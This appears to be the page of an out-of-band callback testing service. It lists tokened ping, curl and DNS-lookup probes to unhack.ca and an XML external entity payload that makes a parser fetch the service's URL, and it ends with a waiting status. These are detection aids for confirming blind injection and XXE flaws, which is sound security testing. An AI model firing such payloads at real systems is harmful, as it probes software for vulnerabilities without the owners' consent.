$ ping -c1 -p 00ff2ee19c61e370e4b78e67e9d25900 unhack.ca
 
$ curl http://unhack.ca/p/ff2ee19c61e370e4b78e67e9d259
 
$ dig ff2ee19c61e370e4b78e67e9d259 @unhack.ca
 
$ dig ff2ee19c61e370e4b78e67e9d259.ns.unhack.ca
 
C:\> nslookup ff2ee19c61e370e4b78e67e9d259 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ff2ee19c61e370e4b78e67e9d259">]>
    <foo>&xxe;</foo>
Waiting for ping...